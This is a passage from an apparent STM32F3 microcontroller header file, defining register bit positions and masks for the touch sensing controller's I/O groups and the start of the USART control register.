TSC_IOASCR_G7_IO2_Msk /*!<GROUP7_IO2 analog switch enable */ #define TSC_IOASCR_G7_IO3_Pos (26U) #define TSC_IOASCR_G7_IO3_Msk (0x1U << TSC_IOASCR_G7_IO3_Pos) /*!< 0x04000000 */ #define TSC_IOASCR_G7_IO3 TSC_IOASCR_G7_IO3_Msk /*!<GROUP7_IO3 analog switch enable */ #define TSC_IOASCR_G7_IO4_Pos (27U) #define TSC_IOASCR_G7_IO4_Msk (0x1U << TSC_IOASCR_G7_IO4_Pos) /*!< 0x08000000 */ #define TSC_IOASCR_G7_IO4 TSC_IOASCR_G7_IO4_Msk /*!<GROUP7_IO4 analog switch enable */ #define TSC_IOASCR_G8_IO1_Pos (28U) #define TSC_IOASCR_G8_IO1_Msk (0x1U << TSC_IOASCR_G8_IO1_Pos) /*!< 0x10000000 */ #define TSC_IOASCR_G8_IO1 TSC_IOASCR_G8_IO1_Msk /*!<GROUP8_IO1 analog switch enable */ #define TSC_IOASCR_G8_IO2_Pos (29U) #define TSC_IOASCR_G8_IO2_Msk (0x1U << TSC_IOASCR_G8_IO2_Pos) /*!< 0x20000000 */ #define TSC_IOASCR_G8_IO2 TSC_IOASCR_G8_IO2_Msk /*!<GROUP8_IO2 analog switch enable */ #define TSC_IOASCR_G8_IO3_Pos (30U) #define TSC_IOASCR_G8_IO3_Msk (0x1U << TSC_IOASCR_G8_IO3_Pos) /*!< 0x40000000 */ #define TSC_IOASCR_G8_IO3 TSC_IOASCR_G8_IO3_Msk /*!<GROUP8_IO3 analog switch enable */ #define TSC_IOASCR_G8_IO4_Pos (31U) #define TSC_IOASCR_G8_IO4_Msk (0x1U << TSC_IOASCR_G8_IO4_Pos) /*!< 0x80000000 */ #define TSC_IOASCR_G8_IO4 TSC_IOASCR_G8_IO4_Msk /*!<GROUP8_IO4 analog switch enable */ /******************* Bit definition for TSC_IOSCR register ******************/ #define TSC_IOSCR_G1_IO1_Pos (0U) #define TSC_IOSCR_G1_IO1_Msk (0x1U << TSC_IOSCR_G1_IO1_Pos) /*!< 0x00000001 */ #define TSC_IOSCR_G1_IO1 TSC_IOSCR_G1_IO1_Msk /*!<GROUP1_IO1 sampling mode */ #define TSC_IOSCR_G1_IO2_Pos (1U) #define TSC_IOSCR_G1_IO2_Msk (0x1U << TSC_IOSCR_G1_IO2_Pos) /*!< 0x00000002 */ #define TSC_IOSCR_G1_IO2 TSC_IOSCR_G1_IO2_Msk /*!<GROUP1_IO2 sampling mode */ #define TSC_IOSCR_G1_IO3_Pos (2U) #define TSC_IOSCR_G1_IO3_Msk (0x1U << TSC_IOSCR_G1_IO3_Pos) /*!< 0x00000004 */ #define TSC_IOSCR_G1_IO3 TSC_IOSCR_G1_IO3_Msk /*!<GROUP1_IO3 sampling mode */ #define TSC_IOSCR_G1_IO4_Pos (3U) #define TSC_IOSCR_G1_IO4_Msk (0x1U << TSC_IOSCR_G1_IO4_Pos) /*!< 0x00000008 */ #define TSC_IOSCR_G1_IO4 TSC_IOSCR_G1_IO4_Msk /*!<GROUP1_IO4 sampling mode */ #define TSC_IOSCR_G2_IO1_Pos (4U) #define TSC_IOSCR_G2_IO1_Msk (0x1U << TSC_IOSCR_G2_IO1_Pos) /*!< 0x00000010 */ #define TSC_IOSCR_G2_IO1 TSC_IOSCR_G2_IO1_Msk /*!<GROUP2_IO1 sampling mode */ #define TSC_IOSCR_G2_IO2_Pos (5U) #define TSC_IOSCR_G2_IO2_Msk (0x1U << TSC_IOSCR_G2_IO2_Pos) /*!< 0x00000020 */ #define TSC_IOSCR_G2_IO2 TSC_IOSCR_G2_IO2_Msk /*!<GROUP2_IO2 sampling mode */ #define TSC_IOSCR_G2_IO3_Pos (6U) #define TSC_IOSCR_G2_IO3_Msk (0x1U << TSC_IOSCR_G2_IO3_Pos) /*!< 0x00000040 */ #define TSC_IOSCR_G2_IO3 TSC_IOSCR_G2_IO3_Msk /*!<GROUP2_IO3 sampling mode */ #define TSC_IOSCR_G2_IO4_Pos (7U) #define TSC_IOSCR_G2_IO4_Msk (0x1U << TSC_IOSCR_G2_IO4_Pos) /*!< 0x00000080 */ #define TSC_IOSCR_G2_IO4 TSC_IOSCR_G2_IO4_Msk /*!<GROUP2_IO4 sampling mode */ #define TSC_IOSCR_G3_IO1_Pos (8U) #define TSC_IOSCR_G3_IO1_Msk (0x1U << TSC_IOSCR_G3_IO1_Pos) /*!< 0x00000100 */ #define TSC_IOSCR_G3_IO1 TSC_IOSCR_G3_IO1_Msk /*!<GROUP3_IO1 sampling mode */ #define TSC_IOSCR_G3_IO2_Pos (9U) #define TSC_IOSCR_G3_IO2_Msk (0x1U << TSC_IOSCR_G3_IO2_Pos) /*!< 0x00000200 */ #define TSC_IOSCR_G3_IO2 TSC_IOSCR_G3_IO2_Msk /*!<GROUP3_IO2 sampling mode */ #define TSC_IOSCR_G3_IO3_Pos (10U) #define TSC_IOSCR_G3_IO3_Msk (0x1U << TSC_IOSCR_G3_IO3_Pos) /*!< 0x00000400 */ #define TSC_IOSCR_G3_IO3 TSC_IOSCR_G3_IO3_Msk /*!<GROUP3_IO3 sampling mode */ #define TSC_IOSCR_G3_IO4_Pos (11U) #define TSC_IOSCR_G3_IO4_Msk (0x1U << TSC_IOSCR_G3_IO4_Pos) /*!< 0x00000800 */ #define TSC_IOSCR_G3_IO4 TSC_IOSCR_G3_IO4_Msk /*!<GROUP3_IO4 sampling mode */ #define TSC_IOSCR_G4_IO1_Pos (12U) #define TSC_IOSCR_G4_IO1_Msk (0x1U << TSC_IOSCR_G4_IO1_Pos) /*!< 0x00001000 */ #define TSC_IOSCR_G4_IO1 TSC_IOSCR_G4_IO1_Msk /*!<GROUP4_IO1 sampling mode */ #define TSC_IOSCR_G4_IO2_Pos (13U) #define TSC_IOSCR_G4_IO2_Msk (0x1U << TSC_IOSCR_G4_IO2_Pos) /*!< 0x00002000 */ #define TSC_IOSCR_G4_IO2 TSC_IOSCR_G4_IO2_Msk /*!<GROUP4_IO2 sampling mode */ #define TSC_IOSCR_G4_IO3_Pos (14U) #define TSC_IOSCR_G4_IO3_Msk (0x1U << TSC_IOSCR_G4_IO3_Pos) /*!< 0x00004000 */ #define TSC_IOSCR_G4_IO3 TSC_IOSCR_G4_IO3_Msk /*!<GROUP4_IO3 sampling mode */ #define TSC_IOSCR_G4_IO4_Pos (15U) #define TSC_IOSCR_G4_IO4_Msk (0x1U << TSC_IOSCR_G4_IO4_Pos) /*!< 0x00008000 */ #define TSC_IOSCR_G4_IO4 TSC_IOSCR_G4_IO4_Msk /*!<GROUP4_IO4 sampling mode */ #define TSC_IOSCR_G5_IO1_Pos (16U) #define TSC_IOSCR_G5_IO1_Msk (0x1U << TSC_IOSCR_G5_IO1_Pos) /*!< 0x00010000 */ #define TSC_IOSCR_G5_IO1 TSC_IOSCR_G5_IO1_Msk /*!<GROUP5_IO1 sampling mode */ #define TSC_IOSCR_G5_IO2_Pos (17U) #define TSC_IOSCR_G5_IO2_Msk (0x1U << TSC_IOSCR_G5_IO2_Pos) /*!< 0x00020000 */ #define TSC_IOSCR_G5_IO2 TSC_IOSCR_G5_IO2_Msk /*!<GROUP5_IO2 sampling mode */ #define TSC_IOSCR_G5_IO3_Pos (18U) #define TSC_IOSCR_G5_IO3_Msk (0x1U << TSC_IOSCR_G5_IO3_Pos) /*!< 0x00040000 */ #define TSC_IOSCR_G5_IO3 TSC_IOSCR_G5_IO3_Msk /*!<GROUP5_IO3 sampling mode */ #define TSC_IOSCR_G5_IO4_Pos (19U) #define TSC_IOSCR_G5_IO4_Msk (0x1U << TSC_IOSCR_G5_IO4_Pos) /*!< 0x00080000 */ #define TSC_IOSCR_G5_IO4 TSC_IOSCR_G5_IO4_Msk /*!<GROUP5_IO4 sampling mode */ #define TSC_IOSCR_G6_IO1_Pos (20U) #define TSC_IOSCR_G6_IO1_Msk (0x1U << TSC_IOSCR_G6_IO1_Pos) /*!< 0x00100000 */ #define TSC_IOSCR_G6_IO1 TSC_IOSCR_G6_IO1_Msk /*!<GROUP6_IO1 sampling mode */ #define TSC_IOSCR_G6_IO2_Pos (21U) #define TSC_IOSCR_G6_IO2_Msk (0x1U << TSC_IOSCR_G6_IO2_Pos) /*!< 0x00200000 */ #define TSC_IOSCR_G6_IO2 TSC_IOSCR_G6_IO2_Msk /*!<GROUP6_IO2 sampling mode */ #define TSC_IOSCR_G6_IO3_Pos (22U) #define TSC_IOSCR_G6_IO3_Msk (0x1U << TSC_IOSCR_G6_IO3_Pos) /*!< 0x00400000 */ #define TSC_IOSCR_G6_IO3 TSC_IOSCR_G6_IO3_Msk /*!<GROUP6_IO3 sampling mode */ #define TSC_IOSCR_G6_IO4_Pos (23U) #define TSC_IOSCR_G6_IO4_Msk (0x1U << TSC_IOSCR_G6_IO4_Pos) /*!< 0x00800000 */ #define TSC_IOSCR_G6_IO4 TSC_IOSCR_G6_IO4_Msk /*!<GROUP6_IO4 sampling mode */ #define TSC_IOSCR_G7_IO1_Pos (24U) #define TSC_IOSCR_G7_IO1_Msk (0x1U << TSC_IOSCR_G7_IO1_Pos) /*!< 0x01000000 */ #define TSC_IOSCR_G7_IO1 TSC_IOSCR_G7_IO1_Msk /*!<GROUP7_IO1 sampling mode */ #define TSC_IOSCR_G7_IO2_Pos (25U) #define TSC_IOSCR_G7_IO2_Msk (0x1U << TSC_IOSCR_G7_IO2_Pos) /*!< 0x02000000 */ #define TSC_IOSCR_G7_IO2 TSC_IOSCR_G7_IO2_Msk /*!<GROUP7_IO2 sampling mode */ #define TSC_IOSCR_G7_IO3_Pos (26U) #define TSC_IOSCR_G7_IO3_Msk (0x1U << TSC_IOSCR_G7_IO3_Pos) /*!< 0x04000000 */ #define TSC_IOSCR_G7_IO3 TSC_IOSCR_G7_IO3_Msk /*!<GROUP7_IO3 sampling mode */ #define TSC_IOSCR_G7_IO4_Pos (27U) #define TSC_IOSCR_G7_IO4_Msk (0x1U << TSC_IOSCR_G7_IO4_Pos) /*!< 0x08000000 */ #define TSC_IOSCR_G7_IO4 TSC_IOSCR_G7_IO4_Msk /*!<GROUP7_IO4 sampling mode */ #define TSC_IOSCR_G8_IO1_Pos (28U) #define TSC_IOSCR_G8_IO1_Msk (0x1U << TSC_IOSCR_G8_IO1_Pos) /*!< 0x10000000 */ #define TSC_IOSCR_G8_IO1 TSC_IOSCR_G8_IO1_Msk /*!<GROUP8_IO1 sampling mode */ #define TSC_IOSCR_G8_IO2_Pos (29U) #define TSC_IOSCR_G8_IO2_Msk (0x1U << TSC_IOSCR_G8_IO2_Pos) /*!< 0x20000000 */ #define TSC_IOSCR_G8_IO2 TSC_IOSCR_G8_IO2_Msk /*!<GROUP8_IO2 sampling mode */ #define TSC_IOSCR_G8_IO3_Pos (30U) #define TSC_IOSCR_G8_IO3_Msk (0x1U << TSC_IOSCR_G8_IO3_Pos) /*!< 0x40000000 */ #define TSC_IOSCR_G8_IO3 TSC_IOSCR_G8_IO3_Msk /*!<GROUP8_IO3 sampling mode */ #define TSC_IOSCR_G8_IO4_Pos (31U) #define TSC_IOSCR_G8_IO4_Msk (0x1U << TSC_IOSCR_G8_IO4_Pos) /*!< 0x80000000 */ #define TSC_IOSCR_G8_IO4 TSC_IOSCR_G8_IO4_Msk /*!<GROUP8_IO4 sampling mode */ /******************* Bit definition for TSC_IOCCR register ******************/ #define TSC_IOCCR_G1_IO1_Pos (0U) #define TSC_IOCCR_G1_IO1_Msk (0x1U << TSC_IOCCR_G1_IO1_Pos) /*!< 0x00000001 */ #define TSC_IOCCR_G1_IO1 TSC_IOCCR_G1_IO1_Msk /*!<GROUP1_IO1 channel mode */ #define TSC_IOCCR_G1_IO2_Pos (1U) #define TSC_IOCCR_G1_IO2_Msk (0x1U << TSC_IOCCR_G1_IO2_Pos) /*!< 0x00000002 */ #define TSC_IOCCR_G1_IO2 TSC_IOCCR_G1_IO2_Msk /*!<GROUP1_IO2 channel mode */ #define TSC_IOCCR_G1_IO3_Pos (2U) #define TSC_IOCCR_G1_IO3_Msk (0x1U << TSC_IOCCR_G1_IO3_Pos) /*!< 0x00000004 */ #define TSC_IOCCR_G1_IO3 TSC_IOCCR_G1_IO3_Msk /*!<GROUP1_IO3 channel mode */ #define TSC_IOCCR_G1_IO4_Pos (3U) #define TSC_IOCCR_G1_IO4_Msk (0x1U << TSC_IOCCR_G1_IO4_Pos) /*!< 0x00000008 */ #define TSC_IOCCR_G1_IO4 TSC_IOCCR_G1_IO4_Msk /*!<GROUP1_IO4 channel mode */ #define TSC_IOCCR_G2_IO1_Pos (4U) #define TSC_IOCCR_G2_IO1_Msk (0x1U << TSC_IOCCR_G2_IO1_Pos) /*!< 0x00000010 */ #define TSC_IOCCR_G2_IO1 TSC_IOCCR_G2_IO1_Msk /*!<GROUP2_IO1 channel mode */ #define TSC_IOCCR_G2_IO2_Pos (5U) #define TSC_IOCCR_G2_IO2_Msk (0x1U << TSC_IOCCR_G2_IO2_Pos) /*!< 0x00000020 */ #define TSC_IOCCR_G2_IO2 TSC_IOCCR_G2_IO2_Msk /*!<GROUP2_IO2 channel mode */ #define TSC_IOCCR_G2_IO3_Pos (6U) #define TSC_IOCCR_G2_IO3_Msk (0x1U << TSC_IOCCR_G2_IO3_Pos) /*!< 0x00000040 */ #define TSC_IOCCR_G2_IO3 TSC_IOCCR_G2_IO3_Msk /*!<GROUP2_IO3 channel mode */ #define TSC_IOCCR_G2_IO4_Pos (7U) #define TSC_IOCCR_G2_IO4_Msk (0x1U << TSC_IOCCR_G2_IO4_Pos) /*!< 0x00000080 */ #define TSC_IOCCR_G2_IO4 TSC_IOCCR_G2_IO4_Msk /*!<GROUP2_IO4 channel mode */ #define TSC_IOCCR_G3_IO1_Pos (8U) #define TSC_IOCCR_G3_IO1_Msk (0x1U << TSC_IOCCR_G3_IO1_Pos) /*!< 0x00000100 */ #define TSC_IOCCR_G3_IO1 TSC_IOCCR_G3_IO1_Msk /*!<GROUP3_IO1 channel mode */ #define TSC_IOCCR_G3_IO2_Pos (9U) #define TSC_IOCCR_G3_IO2_Msk (0x1U << TSC_IOCCR_G3_IO2_Pos) /*!< 0x00000200 */ #define TSC_IOCCR_G3_IO2 TSC_IOCCR_G3_IO2_Msk /*!<GROUP3_IO2 channel mode */ #define TSC_IOCCR_G3_IO3_Pos (10U) #define TSC_IOCCR_G3_IO3_Msk (0x1U << TSC_IOCCR_G3_IO3_Pos) /*!< 0x00000400 */ #define TSC_IOCCR_G3_IO3 TSC_IOCCR_G3_IO3_Msk /*!<GROUP3_IO3 channel mode */ #define TSC_IOCCR_G3_IO4_Pos (11U) #define TSC_IOCCR_G3_IO4_Msk (0x1U << TSC_IOCCR_G3_IO4_Pos) /*!< 0x00000800 */ #define TSC_IOCCR_G3_IO4 TSC_IOCCR_G3_IO4_Msk /*!<GROUP3_IO4 channel mode */ #define TSC_IOCCR_G4_IO1_Pos (12U) #define TSC_IOCCR_G4_IO1_Msk (0x1U << TSC_IOCCR_G4_IO1_Pos) /*!< 0x00001000 */ #define TSC_IOCCR_G4_IO1 TSC_IOCCR_G4_IO1_Msk /*!<GROUP4_IO1 channel mode */ #define TSC_IOCCR_G4_IO2_Pos (13U) #define TSC_IOCCR_G4_IO2_Msk (0x1U << TSC_IOCCR_G4_IO2_Pos) /*!< 0x00002000 */ #define TSC_IOCCR_G4_IO2 TSC_IOCCR_G4_IO2_Msk /*!<GROUP4_IO2 channel mode */ #define TSC_IOCCR_G4_IO3_Pos (14U) #define TSC_IOCCR_G4_IO3_Msk (0x1U << TSC_IOCCR_G4_IO3_Pos) /*!< 0x00004000 */ #define TSC_IOCCR_G4_IO3 TSC_IOCCR_G4_IO3_Msk /*!<GROUP4_IO3 channel mode */ #define TSC_IOCCR_G4_IO4_Pos (15U) #define TSC_IOCCR_G4_IO4_Msk (0x1U << TSC_IOCCR_G4_IO4_Pos) /*!< 0x00008000 */ #define TSC_IOCCR_G4_IO4 TSC_IOCCR_G4_IO4_Msk /*!<GROUP4_IO4 channel mode */ #define TSC_IOCCR_G5_IO1_Pos (16U) #define TSC_IOCCR_G5_IO1_Msk (0x1U << TSC_IOCCR_G5_IO1_Pos) /*!< 0x00010000 */ #define TSC_IOCCR_G5_IO1 TSC_IOCCR_G5_IO1_Msk /*!<GROUP5_IO1 channel mode */ #define TSC_IOCCR_G5_IO2_Pos (17U) #define TSC_IOCCR_G5_IO2_Msk (0x1U << TSC_IOCCR_G5_IO2_Pos) /*!< 0x00020000 */ #define TSC_IOCCR_G5_IO2 TSC_IOCCR_G5_IO2_Msk /*!<GROUP5_IO2 channel mode */ #define TSC_IOCCR_G5_IO3_Pos (18U) #define TSC_IOCCR_G5_IO3_Msk (0x1U << TSC_IOCCR_G5_IO3_Pos) /*!< 0x00040000 */ #define TSC_IOCCR_G5_IO3 TSC_IOCCR_G5_IO3_Msk /*!<GROUP5_IO3 channel mode */ #define TSC_IOCCR_G5_IO4_Pos (19U) #define TSC_IOCCR_G5_IO4_Msk (0x1U << TSC_IOCCR_G5_IO4_Pos) /*!< 0x00080000 */ #define TSC_IOCCR_G5_IO4 TSC_IOCCR_G5_IO4_Msk /*!<GROUP5_IO4 channel mode */ #define TSC_IOCCR_G6_IO1_Pos (20U) #define TSC_IOCCR_G6_IO1_Msk (0x1U << TSC_IOCCR_G6_IO1_Pos) /*!< 0x00100000 */ #define TSC_IOCCR_G6_IO1 TSC_IOCCR_G6_IO1_Msk /*!<GROUP6_IO1 channel mode */ #define TSC_IOCCR_G6_IO2_Pos (21U) #define TSC_IOCCR_G6_IO2_Msk (0x1U << TSC_IOCCR_G6_IO2_Pos) /*!< 0x00200000 */ #define TSC_IOCCR_G6_IO2 TSC_IOCCR_G6_IO2_Msk /*!<GROUP6_IO2 channel mode */ #define TSC_IOCCR_G6_IO3_Pos (22U) #define TSC_IOCCR_G6_IO3_Msk (0x1U << TSC_IOCCR_G6_IO3_Pos) /*!< 0x00400000 */ #define TSC_IOCCR_G6_IO3 TSC_IOCCR_G6_IO3_Msk /*!<GROUP6_IO3 channel mode */ #define TSC_IOCCR_G6_IO4_Pos (23U) #define TSC_IOCCR_G6_IO4_Msk (0x1U << TSC_IOCCR_G6_IO4_Pos) /*!< 0x00800000 */ #define TSC_IOCCR_G6_IO4 TSC_IOCCR_G6_IO4_Msk /*!<GROUP6_IO4 channel mode */ #define TSC_IOCCR_G7_IO1_Pos (24U) #define TSC_IOCCR_G7_IO1_Msk (0x1U << TSC_IOCCR_G7_IO1_Pos) /*!< 0x01000000 */ #define TSC_IOCCR_G7_IO1 TSC_IOCCR_G7_IO1_Msk /*!<GROUP7_IO1 channel mode */ #define TSC_IOCCR_G7_IO2_Pos (25U) #define TSC_IOCCR_G7_IO2_Msk (0x1U << TSC_IOCCR_G7_IO2_Pos) /*!< 0x02000000 */ #define TSC_IOCCR_G7_IO2 TSC_IOCCR_G7_IO2_Msk /*!<GROUP7_IO2 channel mode */ #define TSC_IOCCR_G7_IO3_Pos (26U) #define TSC_IOCCR_G7_IO3_Msk (0x1U << TSC_IOCCR_G7_IO3_Pos) /*!< 0x04000000 */ #define TSC_IOCCR_G7_IO3 TSC_IOCCR_G7_IO3_Msk /*!<GROUP7_IO3 channel mode */ #define TSC_IOCCR_G7_IO4_Pos (27U) #define TSC_IOCCR_G7_IO4_Msk (0x1U << TSC_IOCCR_G7_IO4_Pos) /*!< 0x08000000 */ #define TSC_IOCCR_G7_IO4 TSC_IOCCR_G7_IO4_Msk /*!<GROUP7_IO4 channel mode */ #define TSC_IOCCR_G8_IO1_Pos (28U) #define TSC_IOCCR_G8_IO1_Msk (0x1U << TSC_IOCCR_G8_IO1_Pos) /*!< 0x10000000 */ #define TSC_IOCCR_G8_IO1 TSC_IOCCR_G8_IO1_Msk /*!<GROUP8_IO1 channel mode */ #define TSC_IOCCR_G8_IO2_Pos (29U) #define TSC_IOCCR_G8_IO2_Msk (0x1U << TSC_IOCCR_G8_IO2_Pos) /*!< 0x20000000 */ #define TSC_IOCCR_G8_IO2 TSC_IOCCR_G8_IO2_Msk /*!<GROUP8_IO2 channel mode */ #define TSC_IOCCR_G8_IO3_Pos (30U) #define TSC_IOCCR_G8_IO3_Msk (0x1U << TSC_IOCCR_G8_IO3_Pos) /*!< 0x40000000 */ #define TSC_IOCCR_G8_IO3 TSC_IOCCR_G8_IO3_Msk /*!<GROUP8_IO3 channel mode */ #define TSC_IOCCR_G8_IO4_Pos (31U) #define TSC_IOCCR_G8_IO4_Msk (0x1U << TSC_IOCCR_G8_IO4_Pos) /*!< 0x80000000 */ #define TSC_IOCCR_G8_IO4 TSC_IOCCR_G8_IO4_Msk /*!<GROUP8_IO4 channel mode */ /******************* Bit definition for TSC_IOGCSR register *****************/ #define TSC_IOGCSR_G1E_Pos (0U) #define TSC_IOGCSR_G1E_Msk (0x1U << TSC_IOGCSR_G1E_Pos) /*!< 0x00000001 */ #define TSC_IOGCSR_G1E TSC_IOGCSR_G1E_Msk /*!<Analog IO GROUP1 enable */ #define TSC_IOGCSR_G2E_Pos (1U) #define TSC_IOGCSR_G2E_Msk (0x1U << TSC_IOGCSR_G2E_Pos) /*!< 0x00000002 */ #define TSC_IOGCSR_G2E TSC_IOGCSR_G2E_Msk /*!<Analog IO GROUP2 enable */ #define TSC_IOGCSR_G3E_Pos (2U) #define TSC_IOGCSR_G3E_Msk (0x1U << TSC_IOGCSR_G3E_Pos) /*!< 0x00000004 */ #define TSC_IOGCSR_G3E TSC_IOGCSR_G3E_Msk /*!<Analog IO GROUP3 enable */ #define TSC_IOGCSR_G4E_Pos (3U) #define TSC_IOGCSR_G4E_Msk (0x1U << TSC_IOGCSR_G4E_Pos) /*!< 0x00000008 */ #define TSC_IOGCSR_G4E TSC_IOGCSR_G4E_Msk /*!<Analog IO GROUP4 enable */ #define TSC_IOGCSR_G5E_Pos (4U) #define TSC_IOGCSR_G5E_Msk (0x1U << TSC_IOGCSR_G5E_Pos) /*!< 0x00000010 */ #define TSC_IOGCSR_G5E TSC_IOGCSR_G5E_Msk /*!<Analog IO GROUP5 enable */ #define TSC_IOGCSR_G6E_Pos (5U) #define TSC_IOGCSR_G6E_Msk (0x1U << TSC_IOGCSR_G6E_Pos) /*!< 0x00000020 */ #define TSC_IOGCSR_G6E TSC_IOGCSR_G6E_Msk /*!<Analog IO GROUP6 enable */ #define TSC_IOGCSR_G7E_Pos (6U) #define TSC_IOGCSR_G7E_Msk (0x1U << TSC_IOGCSR_G7E_Pos) /*!< 0x00000040 */ #define TSC_IOGCSR_G7E TSC_IOGCSR_G7E_Msk /*!<Analog IO GROUP7 enable */ #define TSC_IOGCSR_G8E_Pos (7U) #define TSC_IOGCSR_G8E_Msk (0x1U << TSC_IOGCSR_G8E_Pos) /*!< 0x00000080 */ #define TSC_IOGCSR_G8E TSC_IOGCSR_G8E_Msk /*!<Analog IO GROUP8 enable */ #define TSC_IOGCSR_G1S_Pos (16U) #define TSC_IOGCSR_G1S_Msk (0x1U << TSC_IOGCSR_G1S_Pos) /*!< 0x00010000 */ #define TSC_IOGCSR_G1S TSC_IOGCSR_G1S_Msk /*!<Analog IO GROUP1 status */ #define TSC_IOGCSR_G2S_Pos (17U) #define TSC_IOGCSR_G2S_Msk (0x1U << TSC_IOGCSR_G2S_Pos) /*!< 0x00020000 */ #define TSC_IOGCSR_G2S TSC_IOGCSR_G2S_Msk /*!<Analog IO GROUP2 status */ #define TSC_IOGCSR_G3S_Pos (18U) #define TSC_IOGCSR_G3S_Msk (0x1U << TSC_IOGCSR_G3S_Pos) /*!< 0x00040000 */ #define TSC_IOGCSR_G3S TSC_IOGCSR_G3S_Msk /*!<Analog IO GROUP3 status */ #define TSC_IOGCSR_G4S_Pos (19U) #define TSC_IOGCSR_G4S_Msk (0x1U << TSC_IOGCSR_G4S_Pos) /*!< 0x00080000 */ #define TSC_IOGCSR_G4S TSC_IOGCSR_G4S_Msk /*!<Analog IO GROUP4 status */ #define TSC_IOGCSR_G5S_Pos (20U) #define TSC_IOGCSR_G5S_Msk (0x1U << TSC_IOGCSR_G5S_Pos) /*!< 0x00100000 */ #define TSC_IOGCSR_G5S TSC_IOGCSR_G5S_Msk /*!<Analog IO GROUP5 status */ #define TSC_IOGCSR_G6S_Pos (21U) #define TSC_IOGCSR_G6S_Msk (0x1U << TSC_IOGCSR_G6S_Pos) /*!< 0x00200000 */ #define TSC_IOGCSR_G6S TSC_IOGCSR_G6S_Msk /*!<Analog IO GROUP6 status */ #define TSC_IOGCSR_G7S_Pos (22U) #define TSC_IOGCSR_G7S_Msk (0x1U << TSC_IOGCSR_G7S_Pos) /*!< 0x00400000 */ #define TSC_IOGCSR_G7S TSC_IOGCSR_G7S_Msk /*!<Analog IO GROUP7 status */ #define TSC_IOGCSR_G8S_Pos (23U) #define TSC_IOGCSR_G8S_Msk (0x1U << TSC_IOGCSR_G8S_Pos) /*!< 0x00800000 */ #define TSC_IOGCSR_G8S TSC_IOGCSR_G8S_Msk /*!<Analog IO GROUP8 status */ /******************* Bit definition for TSC_IOGXCR register *****************/ #define TSC_IOGXCR_CNT_Pos (0U) #define TSC_IOGXCR_CNT_Msk (0x3FFFU << TSC_IOGXCR_CNT_Pos) /*!< 0x00003FFF */ #define TSC_IOGXCR_CNT TSC_IOGXCR_CNT_Msk /*!<CNT[13:0] bits (Counter value) */ /******************************************************************************/ /* */ /* Universal Synchronous Asynchronous Receiver Transmitter (USART) */ /* */ /******************************************************************************/ /* * @brief Specific device feature definitions (not present on all devices in the STM32F3 serie) */ /* Support of 7 bits data length feature */ #define USART_7BITS_SUPPORT /****************** Bit definition for USART_CR1 register *******************/ #define USART_CR1_UE_Pos (0U) #define USART_CR1_UE_Msk (0x1U << USART_CR1_UE_Pos) /*!< 0x00000001 */ #define USART_CR1_UE USART_CR1_UE_Msk /*!< USART Enable */ #define USART_CR1_UESM_Pos (1U) #define USART_CR1_UESM_Msk (0x1U << USART_CR1_UESM_Pos) /*!< 0x00000002 */ #define USART_CR1_UESM USART_CR1_UESM_Msk /*!< USART Enable in STOP Mode */ #define USART_CR1_RE_Pos (2U) #define USART_CR1_RE_Msk (0x1U << USART_CR1_RE_Pos) /*!< 0x00000004 */ #define USART_CR1_RE USART_CR1_RE_Msk /*!< Receiver Enable */ #define USART_CR1_TE_Pos (3U) #define USART_CR1_TE_Msk (0x1U << USART_CR1_TE_Pos) /*!< 0x00000008 */ #define USART_CR1_TE USART_CR1_TE_Msk /*!< Transmitter Enable */ #define USART_CR1_IDLEIE_Pos (4U) #define USART_CR1_IDLEIE_Msk (0x1U << USART_CR1_IDLEIE_Pos) /*!< 0x00000010 */ #define USART_CR1_IDLEIE USART_CR1_IDLEIE_Msk /*!< IDLE Interrupt Enable */ #define USART_CR1_RXNEIE_Pos (5U) #define USART_CR1_RXNEIE_Msk (0x1U << USART_CR1_RXNEIE_Pos) /*!< 0x00000020 */ #define USART_CR1_RXNEIE USART_CR1_RXNEIE_Msk /*!< RXNE Interrupt Enable */ #define USART_CR1_TCIE_Pos (6U) #define USART_CR1_TCIE_Msk (0x1U << USART_CR1_TCIE_Pos) /*!< 0x00000040 */ #define USART_CR1_TCIE USART_CR1_TCIE_Msk /*!< Transmission Complete Interrupt Enable */ #define USART_CR1_TXEIE_Pos (7U) #define USART_CR1_TXEIE_Msk (0x1U << USART_CR1_TXEIE_Pos) /*!< 0x00000080 */ #define USART_CR1_TXEIE USART_CR1_TXEIE_Msk /*!< TXE Interrupt Enable */ #define USART_CR1_PEIE_Pos (8U) #define USART_CR1_PEIE_Msk (0x1U << USART_CR1_PEIE_Pos) /*!< 0x00000100 */ #define USART_CR1_PEIE USART_CR1_PEIE_Msk /*!< PE Interrupt Enable */ #define USART_CR1_PS_Pos (9U) #define USART_CR1_PS_Msk (0x1U << USART_CR1_PS_Pos) /*!< 0x00000200 */ #define USART_CR1_PS USART_CR1_PS_Msk /*!< Parity Selection */ #define USART_CR1_PCE_Pos (10U) #define USART_CR1_PCE_Msk (0x1U << USART_CR1_PCE_Pos) /*!< 0x00000400 */ #define USART_CR1_PCE USART_CR1_PCE_Msk /*!< Parity Control Enable */ #define USART_CR1_WAKE_Pos (11U) #define USART_CR1_WAKE_Msk (0x1U << USART_CR1_WAKE_Pos) /*!< 0x00000800 */ #define USART_CR1_WAKE USART_CR1_WAKE_Msk /*!< Receiver Wakeup method */ #define USART_CR1_M0_Pos (12U) #define USART_CR1_M0_Msk (0x1U << USART_CR1_M0_Pos) /*!< 0x00001000 */ #define USART_CR1_M0 USART_CR1_M0_Msk /*!< Word length bit 0 */ #define USART_CR1_MME_Pos (13U) #define USART_CR1_MME_Msk (0x1U << USART_CR1_MME_Pos) /*!< 0x00002000 */ #define USART_CR1_MME USART_CR1_MME_Msk /*!< Mute Mode Enable */ #define USART_CR1_CMIE_Pos (14U) #define USART_CR1_CMIE_Msk (0x1U << USART_CR1_CMIE_Pos) /*!< 0x00004000 */ #define USART_CR1_CMIE USART_CR1_CMIE_Msk /*!< Character match interrupt enable */ #define USART_CR1_OVER8_Pos (15U) #define USART_CR1_OVER8_Msk (0x1U << USART_CR1_OVER8_Pos) /*!< 0x00008000 */ #define USART_CR1_OVER8 USART_CR1_OVER8_Msk /*!< Oversampling by 8-bit or 16-bit mode */ #define USART_CR1_DEDT_Pos (16U) #define USART_CR1_DEDT_Msk (0x1FU << USART_CR1_DEDT_Pos) /*!< 0x001F0000 */ #define USART_CR1_DEDT USART_CR1_DEDT_Msk /*!< DEDT[4:0] bits (Driver Enable Deassertion Time) */ #define USART_CR1_DEDT_0 (0x01U << USART_CR1_DEDT_Pos) /*!< 0x00010000 */ #define USART_CR1_DEDT_1 (0x02U << USART_CR1_DEDT_Pos) /*!< 0x00020000 */ #define 